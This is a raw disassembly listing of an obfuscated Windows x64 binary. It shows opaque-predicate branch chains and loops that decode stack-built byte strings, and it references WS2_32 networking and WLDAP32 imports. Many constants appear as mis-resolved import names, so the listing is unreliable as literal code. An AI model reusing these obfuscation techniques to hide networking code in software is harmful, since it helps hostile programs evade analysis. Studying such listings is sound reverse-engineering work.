lea ebx, [rcx - 0x10]
jmp 0x1400b5a5c
add r10b, 0x58
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x68
jmp 0x1400b5a29
sub r10b, 0x58
movzx eax, r10b
and al, r11b
mov ecx, 0x34
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400b5a26
add r10b, 0x48
movzx eax, r10b
and al, r11b
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
dec rdi
inc rdi
jmp 0x1400b5032
lea ecx, [r10 - 0x18]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x58
add r10b, 0x68
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add cl, r10b
add cl, r11b
mov byte [rbp + rdi + 0x7c0], cl
inc r9
dec rdi
inc rdi
jmp 0x1400b5032
lea edx, [rdi - 0x28]
movzx eax, dl
and al, r11b
mov ecx, listen
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
inc r9
dec rdi
inc rdi
jmp 0x1400b5032
lea ecx, [rdi + 0x28]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x18
dec rdi
inc rdi
jmp 0x1400b5032
movzx r10d, dil
lea ecx, [r10 + 0x78]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x48
add r10b, 0x18
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_46
sub cl, al
add cl, cl
add cl, r10b
add cl, bl
add cl, r11b
mov byte [rbp + rdi + 0x7c0], cl
add r8, r9
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400b5032
lea rax, [rdi + r13]
and sil, al
mov ecx, reloc.WS2_32.dll_sendto
sub cl, sil
lea ebx, [rcx + rcx]
add bl, al
movzx r10d, dil
add bl, r11b
sub r10b, 0x38
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x78
add r10b, r11b
movzx eax, r10b
mov byte [rbp + rdi + 0x7c0], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi + 0x20]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rdi + 0x7c0], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x7c0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b5032
lea rax, [rdi + r12]
and sil, al
add sil, sil
sub al, sil
lea ebx, [r11 + rax]
sub bl, 0x38
movzx eax, byte [rbp + rdi + 0x7c0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b5032
sub r10b, 0x48
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 8
jmp 0x1400b5030
add r10b, 8
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x38
jmp 0x1400b5020
lea rdx, [rbp + 0x168a2e0]
jmp 0x1400b5b46
lea rdx, [rbp + 0x142eb38]
jmp 0x1400b5b46
lea rdx, [rbp + 0x7c0]
mov r9d, gethostname
mov r8, r14
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xorps xmm0, xmm0
cmp eax, 6
jne 0x1400b7631
mov byte [rbp + 0x3c8], __WSAFDIsSet
mov byte [rbp + 0x3c9], 0x87
mov byte [rbp + 0x3ca], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x3cb], __WSAFDIsSet
mov byte [rbp + 0x3cc], 0x99
mov byte [rbp + 0x3cd], 0x9f
mov byte [rbp + 0x3ce], __WSAFDIsSet
mov byte [rbp + 0x3cf], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x3d0], __WSAFDIsSet
mov byte [rbp + 0x3d1], 0xa5
mov byte [rbp + 0x3d2], 0xa0
mov byte [rbp + 0x3d3], 0xb0
mov byte [rbp + 0x3d4], 0xa4
mov byte [rbp + 0x3d5], 0xbb
mov byte [rbp + 0x3d6], 0xb7
mov byte [rbp + 0x3d7], 0xb3
mov byte [rbp + 0x3d8], Ordinal_41
xor eax, eax
movups xmmword [rbp + 0x3d9], xmm0
movups xmmword [rbp + 0x3e9], xmm0
mov word [rbp + 0x3f9], ax
movabs rsi, 0x2b4500a615526e09
movabs r14, 0x856d05d6bfe5de51
movabs r12, 0xd859033e6a9c262d
movabs r15, 0x81cf01f23ff74a1b
movzx r11d, byte [rsp + 0x30]
nop
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor edi, edi
cmp rdi, 0x33
jae 0x1400b6712
movzx ebx, byte [rbp + rdi + 0x3c8]
mov edx, ebx
cmp r8, rdi
ja 0x1400b6709
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400b5c72
lea rcx, [rdi + rsi]
mov rax, rcx
and rax, rdx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rdx
sub r11b, 0x3f
jmp 0x1400b5cb8
je 0x1400b66a0
inc rax
cmp r8, rax
je 0x1400b664c
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b6621
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400b65e2
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400b65c3
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400b657e
movzx r10d, dil
nop dword [rax]
cmp r9, rdi
ja 0x1400b6700
lea rcx, [r9 + 3]
cmp r8, rcx
jae 0x1400b5ce9
lea ecx, [r10 - 0x43]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2b
jmp 0x1400b5d10
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400b6567
cmp r8, rcx
je 0x1400b6545
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400b6518
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400b6263
nop dword [rax]
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400b6249
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400b6220
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400b61fe
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400b61df
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400b61c0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400b61a0
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400b6186
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400b6166
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400b6139
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400b5d20
lea r8, [r9 + 5]
lea r9, [r8 + 0x10]
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400b66e4
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400b66c8
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400b5f05
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400b5eeb
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400b5ed1
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400b60ef
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400b60a9
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400b6072
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400b604b
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400b5d20
lea r8, [r9 + 0x61]
lea r9, [r8 + 1]
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400b601e
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400b5ffe
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400b5fe4
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400b5fc4
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400b5fa5
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400b5f86
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400b5f64
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400b5f3b
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400b5f21
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400b5d20
lea r8, [r9 + 3]
lea r9, [r8 + 9]
jmp 0x1400b5d20
lea ecx, [r10 - 0x1d]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x35
jmp 0x1400b5d10
lea ecx, [r10 - 0x2f]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x49
jmp 0x1400b5cc0
sub r10b, 0x41
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x39
jmp 0x1400b5c46
lea ecx, [r10 - 0x18]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x58
jmp 0x1400b6597
sub r10b, 0x2a
movzx eax, r10b
and al, bl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x1400b5c32
sub r10b, 0x3c
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x5c
dec rdi
inc rdi
jmp 0x1400b5c32
lea edx, [r10 - 0x4e]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400b65fb
sub r10b, 0x60
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x60
add r8, r9
jmp 0x1400b6633
sub r10b, 0x72
movzx eax, r10b
and al, bl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400b6633
lea ecx, [r10 + 0x7c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x64
jmp 0x1400b64e9
add r10b, 0x6a
movzx eax, r10b
and al, bl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400b665e
add r10b, 0x58
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x68
movzx eax, byte [rbp + rdi + 0x3c8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b5c32
add r10b, 0x2b
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x2d
mov byte [rbp + rdi + 0x3c8], r11b
inc rdi
jmp 0x1400b5c32
lea ecx, [r10 + 0x19]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x51
cmp r9, 0xa
jb 0x1400b6062
lea ecx, [r10 - 0x6a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, bl
lea r11d, [rcx*2 - 0x34]
jmp 0x1400b6597
lea ecx, [r10 + 7]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x31
cmp r8, 0x3e8
jae 0x1400b64bb
lea rax, [r9 + 0x41]
cmp r8, rax
jbe 0x1400b63d6
lea ecx, [r10 - 0x1e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2e
jmp 0x1400b6087
lea ecx, [r10 - 0xb]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x4d
lea rax, [r9 + r8]
cmp rax, 2
je 0x1400b64d8
lea rax, [r9 + 0x80]
cmp r8, rax
jbe 0x1400b635f
lea ecx, [r10 + 0x25]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 3
jmp 0x1400b60be
add r10b, 0x6e
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 2
movzx eax, byte [rbp + rdi + 0x3c8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b5c32
add r10b, 0x5c
movzx eax, r10b
and al, bl
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400b665e
lea ecx, [r10 + 0x4a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 6
jmp 0x1400b64e9
add r10b, 0x38
movzx eax, r10b
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400b6633
add r10b, 0x26
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0xa
add r8, r9
jmp 0x1400b6633
lea edx, [r10 + 0x14]
movzx eax, dl
and al, bl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400b65fb
add r10b, 2
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0xe
dec rdi
inc rdi
jmp 0x1400b5c32
sub r10b, 0x10
movzx eax, r10b
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x1400b5c32
lea ecx, [r10 - 0x22]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x12
jmp 0x1400b6597
lea rax, [r9 + 5]
cmp r8, rax
jae 0x1400b6286
lea ecx, [r10 + 9]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3f
jmp 0x1400b6104
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400b62bc
add r10b, 0x7a
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x56
movzx eax, byte [rbp + rdi + 0x3c8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b5c32
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b62e5
sub r10b, 0x50
movzx eax, r10b
and al, bl
mov ecx, Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400b6633
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400b630d
lea edx, [r10 - 0x2c]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400b65fb
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400b6338
sub r10b, 0x1a
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x4a
dec rdi
inc rdi
jmp 0x1400b5c32
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400b6104
lea ecx, [r10 + 0xa]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x46
jmp 0x1400b6597
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b6382
lea ecx, [r10 + 0x37]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x7f
jmp 0x1400b6597
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b63ad
add r10b, 0x5b
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x7d
dec rdi
inc rdi
jmp 0x1400b5c32
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400b60be
sub r10b, 0x6f
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
add r11b, 9
jmp 0x1400b6633
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b6410
sub r10b, 0xc
movzx eax, r10b
and al, bl
mov ecx, Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
movzx eax, byte [rbp + rdi + 0x3c8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b5c32
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400b6438
lea edx, [r10 + 0x18]
movzx eax, dl
and al, bl
mov ecx, Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400b64e9
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b645d
add r10b, 0x2a
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x26
jmp 0x1400b6633
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400b6489
add r10b, 0x3c
movzx eax, r10b
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
add r8, r9
jmp 0x1400b6633
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400b6087
add r10b, 0x72
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x1e
inc r9
dec rdi
inc rdi
jmp 0x1400b5c32
lea edx, [r10 - 0x58]
movzx eax, dl
and al, bl
movzx ecx, bl
sub cl, al
add cl, 0x34
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1400b65fb
lea ecx, [r10 - 0x46]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rcx - 0x16]
sub r10b, 0x3d
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x55
add r10b, bl
movzx eax, r10b
mov byte [rbp + rdi + 0x3c8], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x1400b665e
add r10b, 0x5f
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
add r11b, 0x67
movzx eax, byte [rbp + rdi + 0x3c8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b5c32
sub r10b, 0xd
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
add r11b, 0x5b
dec rdi
inc rdi
jmp 0x1400b5c32
lea ecx, [r10 - 0x31]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x57
jmp 0x1400b6597
movzx r10d, dil
lea ecx, [r10 - 0x55]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x53
sub r10b, 0x61
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x59
add r10b, bl
mov byte [rbp + rdi + 0x3c8], r10b
inc r9
dec rdi
inc rdi
jmp 0x1400b5c32
lea ecx, [rdi - 0x79]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x4f
dec rdi
inc rdi
jmp 0x1400b5c32
movzx r10d, dil
lea ecx, [r10 + 0x75]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x33
sub r10b, 0x4f
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
add r10b, 0x29
add r10b, r11b
add r10b, bl
mov byte [rbp + rdi + 0x3c8], r10b
add r8, r9
jmp 0x1400b6633
lea rax, [rdi + r14]
and dl, al
add dl, dl
sub al, dl
lea r11d, [rbx + rax]
sub r11b, 0x37
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400b5c32
lea rax, [rdi + r12]
and dl, al
add dl, dl
sub al, dl
lea r11d, [rbx + rax]
sub r11b, 0x3b
lea edx, [rdi - 0x34]
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0x3c8], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x3c8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b5c32
lea rax, [rdi + r15]
and dl, al
add dl, dl
sub al, dl
lea r11d, [rbx + rax]
add r11b, 0x43
movzx eax, byte [rbp + rdi + 0x3c8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b5c32
sub r10b, 0x53
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
add r11b, 0x45
jmp 0x1400b5c30
sub r10b, 0x65
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x3d
jmp 0x1400b5c20
lea rsi, [rbp + 0x161f1d4]
jmp 0x1400b6719
lea rsi, [rbp + 0x1745fdd]
jmp 0x1400b6719
lea rsi, [rbp + 0x3c8]
mov byte [rbp + 0x890], __WSAFDIsSet
mov byte [rbp + 0x891], 0xb7
mov byte [rbp + 0x892], 0x7a
mov byte [rbp + 0x893], 0xba
mov byte [rbp + 0x894], 0x64
mov byte [rbp + 0x895], 0xa9
mov byte [rbp + 0x896], 0xab
mov byte [rbp + 0x897], 0xdb
mov byte [rbp + 0x898], 0xad
mov byte [rbp + 0x899], 0xa2
mov byte [rbp + 0x89a], 0xde
mov byte [rbp + 0x89b], 0xaa
mov byte [rbp + 0x89c], 0xdb
mov byte [rbp + 0x89d], 0xdb
mov byte [rbp + 0x89e], WSAGetLastError
mov byte [rbp + 0x89f], Ordinal_217
mov byte [rbp + 0x8a0], 0xab
mov byte [rbp + 0x8a1], 0xaa
mov byte [rbp + 0x8a2], Ordinal_217
mov byte [rbp + 0x8a3], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x8a4], 0xe7
mov byte [rbp + 0x8a5], 0xa1
mov byte [rbp + 0x8a6], 0x56
mov byte [rbp + 0x8a7], 0x9e
mov byte [rbp + 0x8a8], 0xec
mov byte [rbp + 0x8a9], 0x51
mov byte [rbp + 0x8aa], 0xed
mov byte [rbp + 0x8ab], 0x9a
mov byte [rbp + 0x8ac], 0xe8
mov byte [rbp + 0x8ad], 0xe9
mov byte [rbp + 0x8ae], 0x5e
mov byte [rbp + 0x8af], 0x9d
mov byte [rbp + 0x8b0], __WSAFDIsSet
mov byte [rbp + 0x8b1], 0x59
mov byte [rbp + 0x8b2], 0x9b
mov byte [rbp + 0x8b3], 0xed
mov byte [rbp + 0x8b4], 0xf2
mov byte [rbp + 0x8b5], 0xf2
mov byte [rbp + 0x8b6], 0xfb
mov byte [rbp + 0x8b7], 0xf1
mov byte [rbp + 0x8b8], 0x83
mov byte [rbp + 0x8b9], Ordinal_143
mov byte [rbp + 0x8ba], Ordinal_143
mov byte [rbp + 0x8bb], 0x43
mov byte [rbp + 0x8bc], 0xfb
mov byte [rbp + 0x8bd], 0xfb
mov byte [rbp + 0x8be], Ordinal_79
mov byte [rbp + 0x8bf], 0x83
mov byte [rbp + 0x8c0], 0x81
mov byte [rbp + 0x8c1], 0xfa
mov byte [rbp + 0x8c2], Ordinal_143
mov byte [rbp + 0x8c3], 0xfc
mov byte [rbp + 0x8c4], 0x86
mov byte [rbp + 0x8c5], 0xf9
mov byte [rbp + 0x8c6], 0xc0
mov byte [rbp + 0x8c7], 0xf8
mov byte [rbp + 0x8c8], 0xff
mov byte [rbp + 0x8c9], Ordinal_200
mov byte [rbp + 0x8ca], 0x84
mov byte [rbp + 0x8cb], 0xfe
mov byte [rbp + 0x8cc], 0x86
mov byte [rbp + 0x8cd], 0x80
mov byte [rbp + Ordinal_143e], 0x8c
mov byte [rbp + 0x8cf], 0xfe
mov byte [rbp + 0x8d0], 0xf1
mov byte [rbp + 0x8d1], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x8d2], 0xec
mov byte [rbp + 0x8d3], 0xf6
mov byte [rbp + 0x8d4], 0x9e
mov byte [rbp + 0x8d5], 0x98
mov byte [rbp + 0x8d6], __WSAFDIsSet
mov byte [rbp + 0x8d7], Ordinal_41
mov byte [rbp + 0x8d8], 0xc1
mov byte [rbp + 0x8d9], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x8da], Ordinal_35
mov byte [rbp + 0x8db], 0xfd
mov byte [rbp + 0x8dc], 0xde
mov byte [rbp + 0x8dd], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x8de], 0xe6
mov byte [rbp + 0x8df], 0xee
mov byte [rbp + 0x8e0], 0x9b
mov byte [rbp + 0x8e1], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x8e2], 0xeb
mov byte [rbp + 0x8e3], Ordinal_46
mov byte [rbp + 0x8e4], Ordinal_217
mov byte [rbp + 0x8e5], 0xa8
mov byte [rbp + 0x8e6], 0xdf
mov byte [rbp + 0x8e7], 0xa3
mov byte [rbp + 0x8e8], 0xac
mov byte [rbp + 0x8e9], 0xe4
mov byte [rbp + 0x8ea], 0xdb
mov byte [rbp + 0x8eb], 0xa5
mov byte [rbp + 0x8ec], Ordinal_33
mov byte [rbp + 0x8ed], 0xdf
mov byte [rbp + 0x8ee], 0xdf
mov byte [rbp + 0x8ef], 0xa9
mov byte [rbp + 0x8f0], Ordinal_30
mov byte [rbp + 0x8f1], 0xaa
mov byte [rbp + 0x8f2], 0xaa
mov byte [rbp + 0x8f3], 0xac
mov byte [rbp + 0x8f4], 0xb3
mov byte [rbp + 0x8f5], 0xcb
mov byte [rbp + 0x8f6], 0xcb
mov byte [rbp + 0x8f7], 0xb5
mov byte [rbp + 0x8f8], 0
mov byte [rbp + 0x8f9], 0xbe
mov byte [rbp + 0x8fa], 0xca
mov byte [rbp + 0x8fb], 0xca
mov byte [rbp + 0x8fc], Ordinal_211
mov byte [rbp + 0x8fd], Ordinal_200
mov byte [rbp + 0x8fe], select
mov byte [rbp + 0x8ff], 0xcc
mov byte [rbp + 0x900], 0xc9
mov byte [rbp + 0x901], 0xbf
mov byte [rbp + 0x902], 0xa
mov byte [rbp + 0x903], Ordinal_200
mov byte [rbp + 0x904], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x905], Ordinal_79
mov byte [rbp + 0x906], 0xf6
mov byte [rbp + 0x907], Ordinal_79
mov byte [rbp + 0x908], 0x47
mov byte [rbp + 0x909], Ordinal_79
mov byte [rbp + 0x90a], 0xf2
mov byte [rbp + 0x90b], Ordinal_79
mov byte [rbp + 0x90c], Ordinal_79
mov byte [rbp + 0x90d], 0x3f
mov byte [rbp + 0x90e], 0x3f
mov byte [rbp + 0x90f], Ordinal_79
mov byte [rbp + 0x910], Ordinal_79
mov byte [rbp + 0x911], gethostname
mov byte [rbp + 0x912], gethostname
mov byte [rbp + 0x913], 0xfb
mov byte [rbp + 0x914], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x915], Ordinal_46
mov byte [rbp + 0x916], 0xe6
mov byte [rbp + 0x917], 0x5b
mov byte [rbp + 0x918], Ordinal_41
mov byte [rbp + 0x919], Ordinal_41
mov byte [rbp + 0x91a], 0x51
mov byte [rbp + 0x91b], 0xe3
mov byte [rbp + 0x91c], Ordinal_41
mov byte [rbp + 0x91d], Ordinal_46
mov byte [rbp + 0x91e], 0x5e
mov byte [rbp + 0x91f], 0x5f
mov byte [rbp + 0x920], Ordinal_41
mov byte [rbp + 0x921], 0x5f
mov byte [rbp + 0x922], 0x59
mov byte [rbp + 0x923], Ordinal_33
mov byte [rbp + 0x924], 0xf4
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x925], xmm0
mov qword [rbp + 0x935], rax
mov dword [rbp + 0x93d], eax
mov word [rbp + 0x941], ax
movabs r14, 0x85743b9cfcc2248c
movabs r12, 0x9b452a10efcab6bc
movabs r15, 0x905cb2d6f6466da4
movzx edx, byte [rsp + 0x30]
nop
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor ebx, ebx
cmp rbx, 0xb3
jae 0x1400b7622
movzx r10d, byte [rbp + rbx + 0x890]
mov edi, r10d
nop dword [rax + rax]
cmp r8, rbx
ja 0x1400b7613
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400b6bcb
lea rcx, [rbx + r14]
mov rax, rcx
and rax, rdi
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, rdi
add dl, 0x2c
jmp 0x1400b6c04
je 0x1400b75a2
inc rax
cmp r8, rax
je 0x1400b754c
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400b751c
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b74db
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400b74b8
movzx r11d, bl
nop dword [rax + rax]
cmp r9, rbx
ja 0x1400b7604
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x1400b6c39
lea ecx, [r11 + 0x7c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x64
jmp 0x1400b6c80
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400b7474
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400b7452
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b7438
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400b7418
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400b73eb
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400b7149
nop dword [rax]
